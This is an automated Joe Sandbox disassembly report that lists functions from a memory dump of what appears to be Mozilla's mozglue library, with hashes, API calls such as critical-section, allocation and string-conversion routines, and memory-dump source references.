Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 8437da078afe6ba40a35910da5d3ffc334bf5cbe025bd8f8c4fbc70b12248bf5
Instruction ID: 440d57248d198bf7c3b88d6036434d38a23b84f3b5ea12679a7b3ba9bec4ef7c
Opcode Fuzzy Hash: 8437da078afe6ba40a35910da5d3ffc334bf5cbe025bd8f8c4fbc70b12248bf5
Instruction Fuzzy Hash: 5D11CE31600258DFCB20AF14C948A6ABBB4FBC932CF458A2DE88147740DB70A804CBD1

Function 6C810C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C810CD5

Part of subcall function 6C7FF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C7FF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C810D40
free.MOZGLUE ref: 6C810DCB

Part of subcall function 6C7E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C7E5EDB
Part of subcall function 6C7E5E90: memset.VCRUNTIME140(6C827765,000000E5,55CCCCCC), ref: 6C7E5F27
Part of subcall function 6C7E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C7E5FB2

free.MOZGLUE ref: 6C810DDD
free.MOZGLUE ref: 6C810DF2

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 4a4799e6ac71f739fe69fbb6dd546a78978da34b5a1d5c66beb5f68cd953ddfc
Instruction ID: a6f78e87b1cd0e6da33782133de09c8a19c7fac490909f66b5722851b9c10da2
Opcode Fuzzy Hash: 4a4799e6ac71f739fe69fbb6dd546a78978da34b5a1d5c66beb5f68cd953ddfc
Instruction Fuzzy Hash: 0F41477191C7858BD320CF29C68079AFBE5BFC9714F118A2EE8D887B10DB709458CB82

Function 6C800800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C84E7DC), ref: 6C800838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C80084C
EnterCriticalSection.KERNEL32(?), ref: 6C8008AF
LeaveCriticalSection.KERNEL32(?), ref: 6C8008BD
LeaveCriticalSection.KERNEL32(6C84E7DC), ref: 6C8008D5

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: bbb061fa846426cca7d8b96ca8e9074c12c8f185d194d5e743ae35a70a648f86
Instruction ID: 32eac52448bd6b52cd2cb07940c19bf73c5e007be905fc771dc8eafa6276bfe1
Opcode Fuzzy Hash: bbb061fa846426cca7d8b96ca8e9074c12c8f185d194d5e743ae35a70a648f86
Instruction Fuzzy Hash: BA21AC31B0521D8BEB24DE699D88BAEB779BF8570CF504938D909A7A00DB71A804CBD0

Function 6C81CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81CDA4

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

Part of subcall function 6C81D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C81CDBA,00100000,?,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81D158
Part of subcall function 6C81D130: InitializeConditionVariable.KERNEL32(00000098,?,6C81CDBA,00100000,?,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81CDC4

Part of subcall function 6C817480: ReleaseSRWLockExclusive.KERNEL32(?,6C8215FC,?,?,?,?,6C8215FC,?), ref: 6C8174EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81CECC

Part of subcall function 6C7DCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7DCAA2

Part of subcall function 6C80CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C81CEEA,?,?,?,?,00000000,?,6C80DA31,00100000,?,?,00000000), ref: 6C80CB57
Part of subcall function 6C80CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C80CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C81CEEA,?,?), ref: 6C80CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C80DA31,00100000,?,?,00000000,?), ref: 6C81D058

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: a4772a383b0184d84d7d05d28b27251fefadec843e9366b7f651879bc1f8b1ee
Instruction ID: 6459e732104ebada82ab99ede6b075fcda9680f31256e44b40583064378a6acd
Opcode Fuzzy Hash: a4772a383b0184d84d7d05d28b27251fefadec843e9366b7f651879bc1f8b1ee
Instruction Fuzzy Hash: 70D18171A04B469FD718CF28C580B99F7E1BF89308F01862DD8598B712EB71E9A5CBC1

Function 6C7D1720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C7D17B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C7D18EE
free.MOZGLUE(?), ref: 6C7D1911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7D194C

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 444703a62c7d199e8e4dc68e5163fd806094772ff9573930bfbef4b4496a9ec8
Instruction ID: 1f628f0308b7a63d020e967ef1861713f3215f1f5d61cdf92d4754188961b722
Opcode Fuzzy Hash: 444703a62c7d199e8e4dc68e5163fd806094772ff9573930bfbef4b4496a9ec8
Instruction Fuzzy Hash: AF81C270A153059FDB08CF68DA949AEBBB1FF89324F05452CE815AB756D730E844CBA2

Function 6C7E5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C7E5D40
EnterCriticalSection.KERNEL32(6C84F688), ref: 6C7E5D67
__aulldiv.LIBCMT ref: 6C7E5DB4
LeaveCriticalSection.KERNEL32(6C84F688), ref: 6C7E5DED

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 8b6e568509e654e2f2ad447d3530e161cdfc39828ce9b4b4e98fdb8ec3963986
Instruction ID: 53b4a394345808c3fdf941378ce379243c5ac6654c60d15e02b9dbbd426bed0a
Opcode Fuzzy Hash: 8b6e568509e654e2f2ad447d3530e161cdfc39828ce9b4b4e98fdb8ec3963986
Instruction Fuzzy Hash: B0518E72E002298FCF18DF68C995AAEBBB1FB99308F19862DD815A7750D7306D45CBD0

Function 6C7CCDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7CCEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C7CCEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C7CCF4E

Strings

0, xrefs: 6C7CCF30

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 131f19f25c35e9efc00153b1c7512d9fe003d5ee771c858fe50b225e35996164
Instruction ID: 9dbdd3232cb05e31268a08cf16cccddc817d8614dfc35af728a4ed432f7b4401
Opcode Fuzzy Hash: 131f19f25c35e9efc00153b1c7512d9fe003d5ee771c858fe50b225e35996164
Instruction Fuzzy Hash: 1E510375A0026A8FCB00CF18C490A9ABBB5EF99304F19869DD8595F352D771ED06CBE0

Function 6C8277D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8277FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C827829

Part of subcall function 6C7FCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C7C31A7), ref: 6C7FCC45
Part of subcall function 6C7FCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C7C31A7), ref: 6C7FCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C82789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C8278CF

Part of subcall function 6C7C4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C7C4E5A
Part of subcall function 6C7C4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C7C4E97

Part of subcall function 6C7C4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C803EBD,6C803EBD,00000000), ref: 6C7C42A9

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: a5e60f7034589e878c437b79656daa687404861af6490e7b571b27c2bfb22124
Instruction ID: 4f33753a531ae42ffb3431aa0472e6512d89ec2214929e44e105b2c27368cd51
Opcode Fuzzy Hash: a5e60f7034589e878c437b79656daa687404861af6490e7b571b27c2bfb22124
Instruction Fuzzy Hash: 19418B719047069FD310DF29C48456AFBB4FF8A258F204A2EE4A987680EB70E559CBD2

Function 6C806470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C8082BC,?,?), ref: 6C80649B

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8064A9

Part of subcall function 6C7FFA80: GetCurrentThreadId.KERNEL32 ref: 6C7FFA8D
Part of subcall function 6C7FFA80: AcquireSRWLockExclusive.KERNEL32(6C84F448), ref: 6C7FFA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C80653F
free.MOZGLUE(?), ref: 6C80655A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 23194290c73e6edaff0931b99270608937e94b83dac5cdb68f02aa17f26c1782
Instruction ID: 6893dfb8be9a4fcfb83e828c5f3e3aa6da3f3c36af6a24e85b9278ead8620581
Opcode Fuzzy Hash: 23194290c73e6edaff0931b99270608937e94b83dac5cdb68f02aa17f26c1782
Instruction Fuzzy Hash: 973181B5A043159FC700CF14D984A9AB7E4FF89318F40482DE85A87741EB74E919CBD2

Function 6C7FFF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C81D019,?,?,?,?,?,00000000,?,6C80DA31,00100000,?), ref: 6C7FFFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C81D019,?,?,?,?,?,00000000,?,6C80DA31,00100000,?,?), ref: 6C7FFFF5
free.MOZGLUE(?,?,?,?,?,6C81D019,?,?,?,?,?,00000000,?,6C80DA31,00100000,?), ref: 6C80001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C81D019,?,?,?,?,?,00000000,?,6C80DA31,00100000,?,?), ref: 6C80002A

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: ee3349c4af941f7616a00ae575954b0f9960bac70a654b3ea62ec976f96f3371
Instruction ID: 2b74e6b5ef9515d036beb7124cb89474f5297e6fbfa6a29f6a14738ea8c804a3
Opcode Fuzzy Hash: ee3349c4af941f7616a00ae575954b0f9960bac70a654b3ea62ec976f96f3371
Instruction Fuzzy Hash: A721C1B2B002155BD7189E7C9DD48AEB7EAEB853247250738E829D7781EB70AD0286D1

Function 6C7DB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C7DB4F5
AcquireSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7DB502
ReleaseSRWLockExclusive.KERNEL32(6C84F4B8), ref: 6C7DB542
free.MOZGLUE(?), ref: 6C7DB578

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: bd6359ae250138cd8aef40068523584950b6b9b7840b4f5027eaee40dc4b5cf2
Instruction ID: 6058771082d5e16fc39baf0c0d2485a86f94d901dd4f3b63f1aa5cca7e57a8b7
Opcode Fuzzy Hash: bd6359ae250138cd8aef40068523584950b6b9b7840b4f5027eaee40dc4b5cf2
Instruction Fuzzy Hash: 7711CD31A14B45C7D7229F29D604766B3B5FFAA32CF11976AE84A53B01EBB0B1C4C790

Function 6C803DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C7CF20E,?), ref: 6C803DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C7CF20E,00000000,?), ref: 6C803DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C803E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C803E0E

Part of subcall function 6C7FCC00: GetCurrentProcess.KERNEL32(?,?,6C7C31A7), ref: 6C7FCC0D
Part of subcall function 6C7FCC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C7C31A7), ref: 6C7FCC16

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 2a1d4e04393d620f66689707b9d7fe4e54d15036d0649caf1020c6aae0274d93
Instruction ID: d7941abd6feaf2733b13e22db2eb9bc5be7d06637352fe706392a25ce51dfaf7
Opcode Fuzzy Hash: 2a1d4e04393d620f66689707b9d7fe4e54d15036d0649caf1020c6aae0274d93
Instruction Fuzzy Hash: F2F058B1A002186BEB10AB94EC85DAB372CEB46628F044034FE0857701E635BE29C6F6

Function 6C8120B0 Relevance: 6.0, APIs: 4, Instructions: 28threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C8120B7
AcquireSRWLockExclusive.KERNEL32(00000000,?,6C7FFBD1), ref: 6C8120C0
ReleaseSRWLockExclusive.KERNEL32(00000000,?,6C7FFBD1), ref: 6C8120DA
free.MOZGLUE(00000000,?,6C7FFBD1), ref: 6C8120F1

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 55492096b556abaf2f62b7a9bc3f11206706031da9e163679b46af473c35d22d
Instruction ID: e7ab9af1b651074e7cc28cee483031b9b5dc7651256636f6be5e6f06cd39659a
Opcode Fuzzy Hash: 55492096b556abaf2f62b7a9bc3f11206706031da9e163679b46af473c35d22d
Instruction Fuzzy Hash: 07E0E531604A158BC230AF299808A5EB7F9FF8732CB00063AE40683F00E77AB546C6D5

Function 6C8185B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C8185D3

Part of subcall function 6C7DCA10: malloc.MOZGLUE(?), ref: 6C7DCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C818725

Strings

map/set<T> too long, xrefs: 6C818720

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 53c25cca5901506bacc3859289a5af409794341c235d894882cd685a9a128285
Instruction ID: 31f9ff4ba86b5aad5db2107a2a969e73e4b8d588c37fa6c7c8a8cd590a573988
Opcode Fuzzy Hash: 53c25cca5901506bacc3859289a5af409794341c235d894882cd685a9a128285
Instruction Fuzzy Hash: 73518874608646CFC711CF18C288A56BBF1BF4A318F1ACA9AD8595BB52C335EC85CF91

Function 6C7CBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C7CBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C7CBE8F

Strings

0, xrefs: 6C7CBE5B

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: d634b33a9d5b754deb93033d2dfcd505d928ade7d4963214eecba30d09cd0dc5
Instruction ID: fe2341e9a2c0200c5bd47ce785082506b88c6635c41d8b6955640a97809161e5
Opcode Fuzzy Hash: d634b33a9d5b754deb93033d2dfcd505d928ade7d4963214eecba30d09cd0dc5
Instruction Fuzzy Hash: EF41A171A09746CFC711CF38C58199BB7E8AF8A348F004A2DF995A7611D731E9498B83

Function 6C803CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C803D19
mozalloc_abort.MOZGLUE(?), ref: 6C803D6C

Strings

d, xrefs: 6C803D58

Memory Dump Source

Source File: 00000000.00000002.2417763752.000000006C7C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7C0000, based on PE: true

Associated: 00000000.00000002.2417735165.000000006C7C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417867750.000000006C83D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417916539.000000006C84E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2417944782.000000006C852000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7c0000_EZrw1nNIpG.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: bb276a7cbff3a1a375a6ae9f80d3b987ffc2e9f894789faad20d7bfd736bb5ec
Instruction ID: 5bf642633ff1b41dc8b4e0dd18c6529dd032ca72737dce1d4fa0c5879c58fdbc
Opcode Fuzzy Hash: bb276a7cbff3a1a375a6ae9f80d3b987ffc2e9f894789faad20d7bfd736bb5ec
Instruction Fuzzy Hash: 8211E231F0468897DB209BA9CD148ADB775EF8621DF449A29EC489B612FB30A984C390

Function 6C7D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C7D44B2,6C84E21C,6C84F7F8), ref: 6C7D473E
